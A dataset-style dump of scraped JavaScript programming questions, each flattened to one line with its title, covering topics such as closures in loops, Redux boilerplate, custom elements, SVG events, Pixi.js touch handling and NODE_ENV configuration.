3b42eeee-c7e3-4d75-953e-941351b4e0f9 '' , `` part '' : `` wing '' , `` main '' : `` boeing '' , `` part_id '' : `` 3b42eeee-c7e3-4d75-953e-941351b4e0f9 '' , `` information.data_check '' : `` single_info '' } ]",Unable to create nested expandable rows with checkboxes and data using angular material "JS : In this demo , i got different outputs , if i use ( no wrap ) or ( onLoad ) .My question is , in html file , to get a correct alert : 1,2,3,4 what alteration is needed in code ? With a simple load of dojo i got always 4 in all alerts : < script src= '' http : //ajax.googleapis.com/ajax/libs/dojo/1.6/dojo/dojo.xd.js '' > < /script > < script type= '' text/javascript '' > var slider = [ ] ; for ( i = 0 ; i < 4 ; i++ ) { slider [ i ] = function ( ) { alert ( [ i ] ) ; } ; dojo.addOnLoad ( slider [ i ] ) ; } < /script >",no wrap ( head ) vs onLoad "JS : I 've been working with React and Redux for about 3 years.Also I use redux-thunk for asynchronous stuff.And I love them a lot , but recently I noticed that almost all ducks in my project are using the same structure of actions , reducers , selectors , etc.For example - you have an application and it has some users and transactions ( or similar ) lists , item details and edit functionality.All of these lists or items have their own ducks ( actions , reducers , selectors , etc ) .Code below will show the problem more clearly : Code above shows the structure of user from users duck which will be almost the same for other ducks.Is there any ways to reduce the repetitive code ? Thank you for advance ! // ACTIONSconst const setUser = user = > ( { type : types.SET_USER , payload : user , } ) ; const cleanUser = ( ) = > ( { type : types.CLEAN_USER } ) ; const fetchUser = userId = > dispatch = > dispatch ( fetchApi ( userRequests.get ( userId ) ) ) .then ( response = > dispatch ( setUser ( response ) ) ) .catch ( error = > showNotification ( error ) ) ; // delete , update , etc ... user actions// REDUCERconst userReducer = ( state = null , action ) = > { switch ( action.type ) { case types.SET_GROUP_ITEM : return action.payload ; case types.CLEAN_GROUP_ITEM : return null ; default : return state ; } } ;",How to avoid repetitive code in redux ( ducks approach ) ? "JS : I have a string ( HTML content ) and an array of position ( index ) objects . The string length is about 1.6 million characters and there are about 700 position objects.ie : I have to insert an opening span tag into every start position within the string and a close span tag into every end position within the string.What is the most efficient way to do this ? So far I have tried sorting the positions array in reverse , then looping through and then using replace / splice to insert the tags , eg : ( Notice how I have started the loop from the end in order to avoid messing up the start/end positions ) .But this takes about 3 seconds , which seems slow and inefficient to me.What is a more efficient way to do this ? var content = `` < html > < body > < div class= '' c1 '' > this is some text < /div > ... . '' var positions = [ { start : 20 , end : 25 } , { start : 35 , end : 37 } ... . ] content = content.slice ( 0 , endPosition ) + `` < /span > '' + content.substring ( endPosition ) ; content = content.slice ( 0 , startPosition ) + `` < span > '' + content.slice ( startPosition ) ;",Efficient string manipulation in Javascript "JS : While working on an isNumeric function I found this edge case : [ 5 ] is considered a number , can be used with numerical operators like + , - , / etc and gives 5 when given to parseFloat.Why does JavaScript convert a single value array to a number ? For examplegives const x = [ 10 ] ; console.log ( x - 5 , typeof x ) ; 5 object",Why is an array with a single number in it considered a number ? "JS : So , in a library that I 'm creating that uses custom elements , you obviously need to define the class in the CustomElementsRegistry before you may instantiate it.As of right now , this is being solved with a decorator : This works , however , I would like to automatically register the custom element upon instantiation of the class ( so that the author does not have to add the decorator to every single component that they write ) . This could maybe be accomplished via a Proxy.My problem , though , is that when I attempt to use a Proxy on the constructor , and attempt to return an instance of the target , I still get Illegal Constructor , as if the element has never been defined in the registry.This obviously has to do with the way I am instantiating the class inside of the proxy , but I 'm unsure of how to do it otherwise . My code is as follows : Please run in latest Chrome : How can I continue the chain of inheritance inside of the proxy without losing the context of the fact that I 'm instantiating the MyElement class so that it does n't throw the Illegal Constructor exception ? class Component extends HTMLElement { static register ( componentName ) { return component = > { window.customElements.define ( componentName , component ) ; return component ; } } } @ Component.register ( 'my-element ' ) class MyElement extends Component { } document.body.appendChild ( new MyElement ( ) ) ; class Component extends HTMLElement { static get componentName ( ) { return this.name.replace ( / [ A-Z ] /g , char = > ` - $ { char.toLowerCase ( ) } ` ) .substring ( 1 ) ; } } const ProxiedComponent = new Proxy ( Component , { construct ( target , args , extender ) { const { componentName } = extender ; if ( ! window.customElements.get ( componentName ) ) { window.customElements.define ( componentName , extender ) ; } return new target ( ) ; // culprit } } ) ; class MyElement extends ProxiedComponent { } document.body.appendChild ( new MyElement ( ) ) ;",Proxy a WebComponent 's constructor that extends HTMLElement "JS : I 'm trying to use the property overflow : visible on SVG . It 's displaying well but there is an issue : When I try to put an event on the element that is out of the SVG , it does n't work . It 's like the svg element is behind the other elements.I 've tried to play with z-index but it does n't work.I would rather prefer to do n't use the viewBox in that answer Overflow : Visible on SVG.Here is the code : HTMLCSSHere is the jsfiddleWhen I click on the first circle that overflows the SVG it 's not displaying the alert . But for the one , that is inside the SVG it works.The problem appears to be only in Chrome . On Firefox and IE it 's working . < p > Blabla < /p > < svg width= '' 100 '' height='100 ' > < circle id='c1 ' cx='10px ' cy='-10px ' r= ' 5 ' onclick='alert ( `` c1 '' ) ' > < /circle > < circle id='c2 ' cx='10px ' cy='10px ' r= ' 5 ' onclick='alert ( `` c2 '' ) ' > < /circle > < /svg > svg { overflow : visible ; } circle { fill : black ; } circle : hover { fill : red ; }",SVG overflow visible in chrome but behind elements "JS : So I 've been looking into full development object oriented JavaScript practices , and wonder about the following examples.As I understand it , ( and it makes sense to me ) that the following 'secret ' field is 'private ' : and this is because the field secret has function scope that the inner function can access , but nothing outside ... so far so good.But I 've seen the following around ( and especially in Douglas Crockford 's book ) : and was wondering what the difference is , why is it better ? I understand that in this case we 're not even returning the same object that the private field exists in , but do n't see a huge benefit as you ca n't access the field directly either way . var MyObject = function ( ) { var secret = 'sshhh ' ; this.getSecret ( ) = function ( ) { return secret ; } } var MyObject = function ( ) { var secret = 'sshhh ' ; return { getSecret : function ( ) { return secret ; } } } ( ) ;",JavaScript Encapsulation "JS : I want to use gradients in my background and to be cross-platform I would like to set background with vendor prefixes : How can I set multiple style.background 's on a HTMLElement , using Javascript to support the vendor prefixes ? Update : I wish not to use jQuery or any other external library . background : -webkit-linear-gradient ( red , blue ) ; background : -o-linear-gradient ( red , blue ) ; background : -moz-linear-gradient ( red , blue ) ; background : linear-gradient ( red , blue ) ;",Setting multiple style.background values "JS : I am experimenting with canvas stroke text and I have noticed a strange artifact on some letters when using a large stroke line width.The issue is present with different fonts sometimes on the same letters ( but it really depends on the font family / style ) .The snippet is as straightforward as possible : I am also linking an image of how it renders in my browser ( s ) : Is this something common and I am such a clumsy guy that I have n't figure it out ( it does go away if you increase the font size sufficiently ) or is there more to it ? ( function ( ) { var canvas = document.querySelector ( ' # canvas ' ) ; var ctx = canvas.getContext ( '2d ' ) ; ctx.font = 'bold 110px `` Arial '' ' ; ctx.lineWidth = 26 ; ctx.strokeStyle = ' # a4ff11 ' ; ctx.strokeText ( 'Water ' , 100 , 100 ) ; ctx.fillStyle = ' # ff0000 ' ; ctx.fillText ( 'Water ' , 100 , 100 ) ; } ) ( ) ; < canvas id= '' canvas '' width= '' 800px '' height= '' 800px '' > < /canvas >",Canvas stroke text sharp artifacts "JS : I have created a small test project to replicate the problem.The project contains only pixi.min.js and index.html with code from this example : http : //pixijs.github.io/examples/index.html ? s=demos & f=interactivity.js & title=InteractivityButtons work when I test it via the browser.They also work in the intel-xdk emulate tab.But when I go to test tab , push files , scan QR code to open the created app on the iphone , the buttons appear but touch events are not working.Why are the touch events not firing on the iPhone ? < ! DOCTYPE html > < html lang= '' en '' > < head > < meta charset= '' UTF-8 '' > < /head > < body style= '' margin:0 ; padding : 0 ; background : # 333333 ; '' > < script src= '' pixi.min.js '' > < /script > < script > var renderer = PIXI.autoDetectRenderer ( 800 , 600 ) ; document.body.appendChild ( renderer.view ) ; var stage = new PIXI.Container ( ) ; var textureButton = PIXI.Texture.fromImage ( 'images/button.png ' ) ; var textureButtonDown = PIXI.Texture.fromImage ( 'images/button.png ' ) ; var textureButtonOver = PIXI.Texture.fromImage ( 'images/button2.png ' ) ; var buttons = [ ] ; var buttonPositions = [ 175 , 75 , 655 , 75 , 410 , 325 , 150 , 465 , 685 , 445 ] ; var noop = function ( ) { //console.log ( 'click ' ) ; } ; for ( var i = 0 ; i < 5 ; i++ ) { var button = new PIXI.Sprite ( textureButton ) ; button.buttonMode = true ; button.anchor.set ( 0.5 ) ; button.position.x = buttonPositions [ i*2 ] ; button.position.y = buttonPositions [ i*2 + 1 ] ; button.interactive = true ; button.on ( 'mousedown ' , onButtonDown ) .on ( 'touchstart ' , onButtonDown ) .on ( 'mouseup ' , onButtonUp ) .on ( 'touchend ' , onButtonUp ) .on ( 'mouseupoutside ' , onButtonUp ) .on ( 'touchendoutside ' , onButtonUp ) .on ( 'mouseover ' , onButtonOver ) .on ( 'mouseout ' , onButtonOut ) ; button.tap = noop ; button.click = noop ; stage.addChild ( button ) ; buttons.push ( button ) ; } buttons [ 0 ] .scale.set ( 1.2 ) ; buttons [ 2 ] .rotation = Math.PI / 10 ; buttons [ 3 ] .scale.set ( 0.8 ) ; buttons [ 4 ] .scale.set ( 0.8,1.2 ) ; buttons [ 4 ] .rotation = Math.PI ; animate ( ) ; function animate ( ) { renderer.render ( stage ) ; requestAnimationFrame ( animate ) ; } function onButtonDown ( ) { this.isdown = true ; this.texture = textureButtonDown ; this.alpha = 1 ; } function onButtonUp ( ) { this.isdown = false ; if ( this.isOver ) { this.texture = textureButtonOver ; } else { this.texture = textureButton ; } } function onButtonOver ( ) { this.isOver = true ; if ( this.isdown ) { return ; } this.texture = textureButtonOver ; } function onButtonOut ( ) { this.isOver = false ; if ( this.isdown ) { return ; } this.texture = textureButton ; } < /script > < /body > < /html >",Pixi.js touch events not firing on iPhone after pushing intel-xdk files "JS : Hello every one I am creating custom multistep form but when I click on next button it ca n't trigger related < a > anchor tag ( auto click ) Please help me to resolve my issue Thanks in Advance $ ( function ( ) { $ ( `` # nextBtn '' ) .click ( function ( ) { var $ tabs = $ ( `` li '' ) ; $ tabs.each ( function ( ) { var activeTab = $ ( this ) .hasClass ( `` active '' ) ; if ( activeTab == true ) { //var activeAnch = $ ( this ) .children ( ) .attr ( `` href '' ) ; alert ( $ ( this ) .next ( 'li ' ) .children ( ) .attr ( `` href '' ) ) ; var nextId = $ ( this ) .next ( 'li ' ) .children ( ) .attr ( `` id '' ) ; // $ ( `` # '' +nextId ) .click ( ) ; // trigger click to # menu 1 < a > } } ) ; } ) ; } ) ; < ! DOCTYPE html > < html lang= '' en '' > < head > < title > Bootstrap Case < /title > < meta charset= '' utf-8 '' > < meta name= '' viewport '' content= '' width=device-width , initial-scale=1 '' > < link rel= '' stylesheet '' href= '' https : //maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css '' > < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/3.2.0/jquery.min.js '' > < /script > < script src= '' https : //maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js '' > < /script > < /head > < body > < ul class= '' nav nav-pills '' > < li class= '' active '' > < a data-toggle= '' pill '' href= '' # home '' > Home < /a > < /li > < li > < a data-toggle= '' pill '' href= '' # menu1 '' > Menu 1 < /a > < /li > < li > < a data-toggle= '' pill '' href= '' # menu2 '' > Menu 2 < /a > < /li > < li > < a data-toggle= '' pill '' href= '' # menu3 '' > Menu 3 < /a > < /li > < /ul > < div class= '' tab-content '' > < div id= '' home '' class= '' tab-pane fade in active '' > < h3 > HOME < /h3 > < span > Form 1 < /span > < /div > < div id= '' menu1 '' class= '' tab-pane fade '' > < h3 > Menu 1 < /h3 > < span > Form 2 < /span > < /div > < div id= '' menu2 '' class= '' tab-pane fade '' > < h3 > Menu 2 < /h3 > < span > Form 3 < /span > < /div > < div id= '' menu3 '' class= '' tab-pane fade '' > < h3 > Menu 3 < /h3 > < span > Form 4 < /span > < /div > < /div > < button id= '' nextBtn '' > Next < /button > < /body > < /html >",Jquery custom trigger anchor tag "JS : I 'm trying to set a flag that informs my code whether it is in production or development . So far I 've seen : In VS Code 's launch.json : In Node 's package.json : In Webpack 's webpack.config.js : While running the code : NPM packages : Powershell : I guess I 'm just confused because by default I have around 4 of those set currently . How exactly do these interact ? Are they all referring to the same variable ? Should I only have one of these ? Which ones overwrite the others ? I 'd really prefer if there were just a single point to set this because it seems like every single module lets you specify it and as a result , I 'm confused as to where it is actually being set . Also , is there anyway to access this flag on the client-side as well or is it server-side only ? { `` configurations '' : { `` env '' : `` NODE_ENV '' : `` development '' } } { `` scripts '' : { `` start '' : `` NODE_ENV=production '' } } module.exports = { `` plugins '' : new webpack.DefinePlugin ( { 'process.env.NODE_ENV ' : ' '' production '' ' } ) } set NODE_ENV=production & & node app https : //www.npmjs.com/package/envify $ env : NODE_ENV= '' production ''",Confused by how many ways there are to set NODE_ENV "JS : I 'm experimenting with Angular2 and trying to get a simple click event to update a template . The click event fires the toggleValue ( ) function , but does not update the template . What I 've done seems to be in line with various tutorials out there ( though they 're based on the Alpha version ) ; I just ca n't figure out where I 'm going wrong with such a simple example . Code as follows : I 'm using Angular version 2.0.0-beta.0 /// < reference path= '' typings/tsd.d.ts '' / > import 'reflect-metadata ' ; import { Component , View } from 'angular2/core ' ; import { bootstrap } from 'angular2/bootstrap ' ; @ Component ( { selector : 'app ' , } ) @ View ( { template : ` < div > Value : { { value } } < /div > < button ( click ) = '' toggleValue ( ) '' > Toggle < /button > ` } ) class App { value : boolean = true ; toggleValue ( ) { console.log ( 'toggleValue ( ) ' ) ; this.value = ! this.value ; } } bootstrap ( App ) ;",Angular2 Click Event Not Updating Template "JS : To detect enter press I 'm using simple solution : On desktop it works properly anywhere . On tablet , smartphone - too - but , if it comes to textarea this does n't work.It became a problem since few last chrome updates.So , when you press enter from mobile you see just new line `` \n '' , but no function execution.So , how to detect enter on textarea on mobile devices on latest chrome version ? if ( e.keyCode == 13 ) { // do something }",Ca n't detect enter press on mobile ( textarea ) "JS : I have 4 icons that , on mouse over , scroll a div using jquery animate . The problem is when I hover over all four icons quickly , back and forth , the hover functions are chained together and even on mouse out , the scroll animations still run until all the mouse over events that happened , are completed.I want to make it so on mouse out , all the events that are waiting to be executed , are cancelled ! find source below : and the function that is called is : does anybody know of a better way to do this ? for an example of my problem , please navigate to http : //a3mediauk.co.uk and look at the sidebar ! Thankyou < div id= '' sidebar-slider-nav '' > < div class= '' testimonials '' onmouseover= '' sidebar_slider ( 0 ) '' > < img src= '' images/icons/testimonialsIcon.png '' / > < /div > < div class= '' facebook '' onmouseover= '' sidebar_slider ( 280 ) '' > < img src= '' images/icons/facebookIcon.png '' / > < /div > < div class= '' twitter '' onmouseover= '' sidebar_slider ( 560 ) '' > < img src= '' images/icons/twitterIcon.png '' / > < /div > < div class= '' news '' onmouseover= '' sidebar_slider ( 840 ) '' > < img src= '' images/icons/blogIcon.png '' / > < /div > < div class= '' clear '' > < /div > < /div > function sidebar_slider ( val ) { $ ( ' # sidebar-slider ' ) .animate ( { scrollLeft : val } ,500 ) }",how to prevent event chaining in javascript "JS : Recently I was reading someone else 's code , and came across this : I understand the point of the leading ; , And I understand that $ ( function ( ) { is the same as document ready , but what is the point of adding function ( $ ) ? I understand it 's a closure , but since this is always being called at the global scope , it seems like you do n't need to bother with it . The $ ( function ( ) { will use the same global object either way , no ? Is it to safeguard against something , or is it a best practice for another reason ? // Semicolon ( ; ) to ensure closing of earlier scripting// Encapsulation// $ is assigned to jQuery ; ( function ( $ ) { // DOM Ready $ ( function ( ) { ... } ) ; } ) ( jQuery ) ;",Can someone explain what function ( $ ) does in jQuery "JS : Related to the answer https : //stackoverflow.com/a/10619477/1076753 to cleate an element is better to useorThey both works , but which is better or correct to use ? The official API Documentation says that to ensure cross-platform compatibility , the snippet must be well-formed . Tags that can contain other elements should be paired with a closing tag : while Tags that can not contain elements may be quick-closed or not : So , at the end it 's wrong to use one of the first two options for a div ? $ ( `` < div > '' , { id : `` foo '' , class : `` a '' } ) ; $ ( `` < div / > '' , { id : `` foo '' , class : `` a '' } ) ; $ ( `` < a href='http : //jquery.com ' > < /a > '' ) ; $ ( `` < img > '' ) ; $ ( `` < input > '' ) ;",Which is the correct or better way to create a new element with jQuery ? "JS : Official ReactJs documentation recommends to create components following the dot notation like the React-bootstrap library : Thanks to this question , I know that I can create this structure using functional components just like that in javascript : Using TypeScript I decided to add the corresponding types to it : Problem is now that TypeScript do n't allow the assignment Card.Body = Body and give me the error : Property 'Body ' does not exist on type 'FunctionComponent < { } > 'So how can I type this correctly in order to use this code structure ? < Card > < Card.Body > < Card.Title > Card Title < /Card.Title > < Card.Text > Some quick example text to build on the card title and make up the bulk of the card 's content . < /Card.Text > < /Card.Body > < /Card > const Card = ( { children } ) = > < > { children } < / > const Body = ( ) = > < > Body < / > Card.Body = Bodyexport default Card const Card : React.FunctionComponent = ( { children } ) : JSX.Element = > < > { children } < / > const Body : React.FunctionComponent = ( ) : JSX.Element = > < > Body < / > Card.Body = Body // < - Error : Property 'Body ' does not exist on type 'FunctionComponent < { } > 'export default Card",Using dot notation with functional component in TypeScript "JS : This is currently happening in chrome , in firefox I have n't had this issue ( yet ) .Here is a VERY simplified version of my problem.HTML : CSS : Javascript : The problem : So what does this give when I resize ( without dragging ) ? Well javascript launches first and sets the position of the < a > < /a > , then CSS applies the height change if we are < 992 px . Logically the button is now visually at the outside of the div and not on the border like I had originally defined it to be.Temporary solution proposed in this post . jQuery - how to wait for the 'end ' of 'resize ' event and only then perform an action ? Temporary solution is not what I 'm looking for : However , in my situation I do n't really need to only call 'resize ' when the resizing event is actually done . I just want my javascript to run after the css is finished loading/ or finished with it 's changes . And it just feels super slow using that function to 'randomely ' run the JS when the css might be finished.The question : Is there a solution to this ? Anyone know of a technique in js to wait till css is completely done applying the modifications during a resize ? Additional Information : Testing this in jsfiddle will most likely not give you the same outcome as I . My css file has many lines , and I'am using Twitter Bootstrap . These two take up a lot of ressources , slowing down the css application ( I think , tell me if I 'm wrong ) .Miljan Puzović - proposed a solution by loading css files via js , and then apply js changes when the js event on css ends . < div class= '' thumbnail '' > < a href= ' # ' id= '' clickMe '' > Click me ! < /a > < /div > div { width : 200px ; height : 300px ; background-color : purple ; } a { position : absolute ; } @ media ( max-width : 991px ) { div { height : 200px ; } } $ ( document ) .ready ( function ( ) { var $ parent = $ ( ' # clickMe ' ) .parent ( ) ; function resize ( ) { $ ( ' # clickMe ' ) .offset ( { top : $ parent.offset ( ) .top + $ parent.height ( ) - $ ( ' # clickMe ' ) .height ( ) } ) ; } $ ( window ) .on ( 'resize ' , resize ) ; resize ( ) ; } ) ; var doit ; $ ( window ) .on ( 'resize ' , function ( ) { clearTimeout ( doit ) ; doit = setTimeout ( resize , 500 ) ; } ) ;",JS launches before CSS "JS : I have created a directive for my angular app , in the directive I am using templateUrl to get the template . This worked fine on my local server but when I host it on firebase it gives this warning repeatedly- Also the page gets stuck in a loop , repeatedly adding index.html to page.You can see the app here , if you go to the companies or jobs tab from the navigation bar which is where I have used the directive.I am not able to figure out what path should I use to stop this . Here is the structure of the app - As you can see my template is in the templates folder . Please help me with this . Thank you.Update - Accoring to this answer , the directive is not able to find the template hence loads the index.html again and again because of this - I just need to figure out the right path for the template.This is contents of firebase.json json file - templateUrl : 'templates/searchbox-template.html ' , WARNING : Tried to load angular more than once .├── app│ ├── 404.html│ ├── favicon.ico│ ├── images│ ├── index.html│ ├── robots.txt│ ├── scripts│ ├── styles│ ├── templates│ └── views├── bower_components│ ├── angular│ ├── angular-mocks│ ├── angular-route│ ├── animate.css│ ├── bootstrap│ ├── jquery│ └── jssocials├── bower.json├── dist│ ├── 404.html│ ├── favicon.ico│ ├── fonts│ ├── index.html│ ├── robots.txt│ ├── scripts│ └── styles├── firebase.json.├── app│ ├── 404.html│ ├── favicon.ico│ ├── images│ ├── index.html│ ├── robots.txt│ ├── scripts│ │ ├── app.js│ │ ├── controllers│ │ ├── directives│ │ └── services│ ├── styles│ │ └── main.css│ ├── templates│ │ └── searchbox-template.html│ └── views│ ├── about.html│ ├── companiesall.html│ ├── company.html│ ├── contact.html│ ├── jobsall.html│ └── main.html .otherwise ( { redirectTo : '/ ' } ) ; { `` hosting '' : { `` public '' : `` dist '' , `` rewrites '' : [ { `` source '' : `` ** '' , `` destination '' : `` /index.html '' } ] } }",Path for templates in angular directive ? "JS : I 'm creating an application that requires passing email addresses around in querystrings and linking to these pages in public documents . I 'd like to prevent my site from becoming spambot heaven , so I 'm looking for a simple algorithm ( preferably in JavaScript ) to encrypt/obfuscate the address so it can be used publicly ina URL without making the email address an easy target . exPreferably the result would be a short-ish string that could easily be used in a URL . Any suggestions for what algorithm I could use ? www.mysite.com/page.php ? e=bob @ gmail.com towww.mysite.com/page.php ? e=aed3Gfd469201",Best way to obfuscate an email address "JS : I am using showdown.js that can be downloaded from https : //github.com/showdownjs/showdown/and the question is I am trying to allow only certain formatting ? E.g . only bold formattings are allowed , the rest is not converted and is formatting discarded for example If I am writing the text which is a Markdown Expression below the output of the above would be belowafter conversion . Now what I want is when converting , it should convert the bold expression only rest of the expressions it should discard.I am using the below code to convert the markdown expression into a normal text below Thank you ! `` Text attributes _italic_ , *italic* , __bold__ , **bold** , ` monospace ` . '' < p > Text attributes < em > italic < /em > , < em > italic < /em > , < strong > bold < /strong > , < strong > bold < /strong > , < code > monospace < /code > . var converter = new showdown.Converter ( ) , //Converting the response received in to html format html = converter.makeHtml ( `` Text attributes _italic_ , *italic* , __bold__ , **bold** , ` monospace ` . `` ) ;",Restrict only certain formatting only with showdown.js Markdown expression library "JS : I use webpack 's code splitting feature ( require.ensure ) to reduce the initial bundle size of my React application by loading components that are not visible on page load from a separate bundle that is loaded asynchronously.This works perfectly , but I have trouble writing a unit test for it.My test setup is based on Mocha , Chai and Sinon.Here is the relevant excerpt from the code I have tried so far : When running the test , I get this error message : `` before each '' hook for `` contains the SideNav component '' : Can not stub non-existent own property ensureThis happens because require.ensure is a method that only exists in a webpack bundle , but I 'm not bundling my tests with webpack , nor do I want to , because it would create more overhead and presumably longer test execution times.So my question is : Is there a way to stub webpack 's require.ensure with Sinon without running the tests through webpack ? describe ( 'When I render the component ' , ( ) = > { let component , mySandbox ; beforeEach ( ( ) = > { mySandbox = sandbox.create ( ) ; mySandbox.stub ( require , 'ensure ' ) ; component = mount ( < PageHeader / > ) ; } ) ; describe ( 'the rendered component ' , ( ) = > it ( 'contains the SideNav component ' , ( ) = > component.find ( SideNav ) .should.have.length ( 1 ) ) ) ; afterEach ( ( ) = > mySandbox.restore ( ) ) ; } ) ;",How Do I Stub webpack 's require.ensure ? "JS : In Java , I can get a BigInteger from a String like this : Which will printI 'm trying to get the same result in JavaScript using the big-integer library . But as you can see this code returns a different value : output : Is there a way to get the result I 'm getting in Java with JavaScript ? And would that be possible also if the array has a length of 32 ? public static void main ( String [ ] args ) { String input = `` banana '' ; byte [ ] bytes = input.getBytes ( StandardCharsets.UTF_8 ) ; BigInteger bigInteger = new BigInteger ( bytes ) ; System.out.println ( `` bytes : `` + Arrays.toString ( bytes ) ) ; System.out.println ( `` bigInteger : `` + bigInteger ) ; } bytes : [ 98 , 97 , 110 , 97 , 110 , 97 ] bigInteger : 108170603228769 var bigInt = require ( 'big-integer ' ) ; function s ( x ) { return x.charCodeAt ( 0 ) ; } var bytes = `` banana '' .split ( `` ) .map ( s ) ; var bigInteger = bigInt.fromArray ( bytes ) ; console.log ( `` bytes : `` + bytes ) ; console.log ( `` bigInteger : `` + bigInteger ) ; bytes : 98,97,110,97,110,97bigInteger : 10890897",Java convert byte [ ] to BigInteger "JS : I usually script/program using python but have recently begun programming with JavaScript and have run into some problems while working with arrays.In python , when I create an array and use for x in y I get this : and I get the expected output of : But my problem is that when using Javascript I get a different and completely unexpected ( to me ) result : and I get the result : How can I get JavaScript to output num as the value in the array like python and why is this happening ? myarray = [ 5,4,3,2,1 ] for x in myarray : print x 543..n var world = [ 5,4,3,2,1 ] for ( var num in world ) { alert ( num ) ; } 012..n",JavaScript Array "JS : Summary : Basically trying to edit a website with Excel VBA . The edits appear to work , but when I use the save button , nothing is saved . I know the save button works , explained below . So why is n't my updated data , which is visible on the screen being saved ? The story : I have this code I have been working on for awhile with Excel VBA . It opens a web page in internet explorer , navigates where I want , fills out a bunch of data , all which show up on the screen , using various methods , such as : andorAll of which work very well , and changes on the screen . I then click save by using : Which again works fine . The issue is that it does n't actually save my changes from the code from the three pieces above . What I have tried isPause my code and manually click save ( same issue ) Pause my code , manually change a checkbox and run the code to save ( does save the manual change , but not the coded onesPause the code and manually change a box and manually save ( only manually changed box is saved ) So , from above , it appear my save click works , but for some reason , although the boxes are visibly changed and filled out using the code , there is a gap between the visible and the background.Anyway , some HTML source code . Is what chrome shows me when Inspecting an element I am changing : I have also searched the entire source code for the page ... I believe this might be important , but I am not a HTML coder . I have shortened it a bitThere is also this ... again much longer : I think this last one has something to do with it , and I do not know if I can change it.For the bad news , I can not release the website address or source code publicly . But please PM me , and I can work something out . For Each objElement In objElementCollExtractedName = objElement.outerHTML If InStr ( ExtractedName , `` NewPermit '' ) > 0 ThenobjElement.Checked = True Set DropDown = objHTML.getElementById ( `` ProjectFile-AccreditedCertifierId '' ) DropDown.selectedIndex = 1 objHTML.getElementsByName ( ElementName ) ( 0 ) .Value = ValueCheck Set objElementColl = objHTML.getElementsByClassName ( `` btn '' ) For Each objElement In objElementColl ExtractedName = objElement.outerHTML If InStr ( ExtractedName , `` click : save , enable : '' ) > 0 Then objElement.Click ExtractedName = 1 Exit For End IfNext < fieldset > < legend > Proposal < /legend > < div class= '' col-xs-12 col-sm-8 col-md-6 '' > < div class= '' row '' > < div class= '' col-xs-2 form-group '' > < label for= '' ProjectFile_ProposalLot '' > Lot < /label > < input class= '' form-control '' data-bind= '' textInput : ProjectFile ( ) .ProposalLot '' maxlength= '' 100 '' name= '' ProjectFile-ProposalLot '' type= '' text '' / > < /div > < div class= '' col-xs-2 form-group '' data-bind= '' visible : ProjectFile ( ) .StateId ( ) ! = 7 & & ProjectFile ( ) .StateId ( ) ! = 5 '' > < label data-bind= '' text : ProjectFile ( ) .ProposalDpLabel ( ) '' > < /label > < input class= '' form-control '' data-bind= '' textInput : ProjectFile ( ) .ProposalDp '' maxlength= '' 100 '' name= '' ProjectFile-ProposalDp '' type= '' text '' / > < /div > var ProjectFileEditViewModel= ( function ( ) { __extends ( ProjectFileEditViewModel , ViewModel.Model ) ; function ProjectFileEditViewModel ( ) { ProjectFileEditViewModel.__super__.constructor.apply ( this , arguments ) ; } ; ProjectFileEditViewModel.prototype.fields=function ( ) { return { `` Id '' : new ViewModel.NumberField ( 0 ) , '' StateId '' : new ViewModel.NumberField ( 0 ) , '' DefaultOfficeAddressId '' : new ViewModel.ObservableField ( ) , '' Name '' : new ViewModel.ObservableField ( ) , '' ExistingApprovalDate '' : new ViewModel.DateField ( `` DD/MM/YYYY '' ) , '' ProjectClosed '' : new ViewModel.ObservableField ( ) , '' ProposalAddress '' : new ViewModel.ObservableChildField ( exports.AddressViewModel , this ) , '' Zoning '' : new ViewModel.ObservableField ( ) , '' ProposalLot '' : new return ProjectFileEditViewModel ; } ) ( ) ; if ( exports.ProjectFileEditViewModel==null ) exports.ProjectFileEditViewModel=ProjectFileEditViewModel ; Buildaform.model=new Buildaform.ProjectPageViewModel ( { ... , '' ProposalLot '' : null ... . }",Excel VBA controls Webpage with Knockout ; appears to work ; but nothing is saved JS : I am working on a react native code project . i am using one plugin on github- selectablesectionlistview to get the selectable section list view working.I am using the sample code provided in the documentation-and it does n't work . I am getting errors in javascript inside the render function.Error is- SelectableSectionsListView is undefined . THIS IS RESOLVED NOW.New error - data is undefined.I am using the code above . any help . please . var SelectableSectionsListView = require ( 'react-native-selectablesectionlistview ' ) ; // inside your render function < SelectableSectionsListView data= { yourData } cell= { YourCellComponent } cellHeight= { 100 } sectionHeaderHeight= { 22.5 } / >,react native : selectable section list view gives error "JS : I have this function which enables hover event on a table . It currently excludes the header row but I also need it to exclude the very first column . Any ideas ? $ ( `` .GridViewStyle > tbody > tr : not ( : has ( table , th ) ) '' ) .mouseover ( function ( e ) {",How to exclude the first column from jquery hover JS : Many tools in the modern JavaScript ecosystem name their configuration files ending in the letters rc . For e.g.I know that these are configuration files as I am familiar with these technologies.C most likely stands for configuration . What is the r in the rc ? ES Lint - > .eslintrc.jsonnpm - > .npmrc.jsonyarn - > .yarnrc,What does the rc stand for in the names of configuration files ? "JS : I 'm developing a javascript application that consists of many objects and functions ( object methods ) . I want to be able to log many events in the life cycle of the application . My problem is that inside the logger I want to know which function invoked the log entry , so I can save that data along with the log message . This means that every function needs to somehow be able to reference itself , so I can pass that reference to the logger.I 'm using javascript strict mode , so using arguments.callee inside the function is not allowed.Here 's a very simplified code sample you can run . I 'm just using here alert instead of my logger for simplicity.In the first alert - this related to myObject and not to myFuncIn the second I alert - I referenced the function by its name , which I do n't want to do , as I 'm looking for a generic way to reference a function from within its own implementation.The third alert - open for your ideas.The fourth alert - would have worked if I did n't `` use stict '' ; . I want to keep strict mode since it provides better performance , and constitutes good coding practice.Any input will be appreciated.If you 're not familiar with `` strict mode '' , this is a good place read about it : JavaScript Strict Mode ( function ( ) { `` use strict '' ; window.myObject = { id : 'myObject ' , myFunc : function ( ) { alert ( this.id ) ; // myObject alert ( this.myFunc.id ) ; // myFunc - I do n't want to do this . I want something generic for all functions under any object alert ( ' ? ? ? ' ) // myFunc alert ( arguments.callee.id ) ; // Will throw an error because arguments.callee in not allowed in strict mode } } myObject.myFunc.id = 'myFunc ' ; myObject.myFunc ( ) ; } ) ( ) ;",How to reference a function from within its own implementation ? "JS : In JavaScript , I was wondering if there is anything special about new or if it is just syntactic sugar for call ( ) . If I have a constructor like : is any different than ? function Person ( name , age ) { this.name = name ; this.age = age ; } var bob = new Person ( `` Bob '' , 55 ) ; var bob ; Person.call ( bob = new Object ( ) , `` Bob '' , 55 ) ;",Is ` new ` in 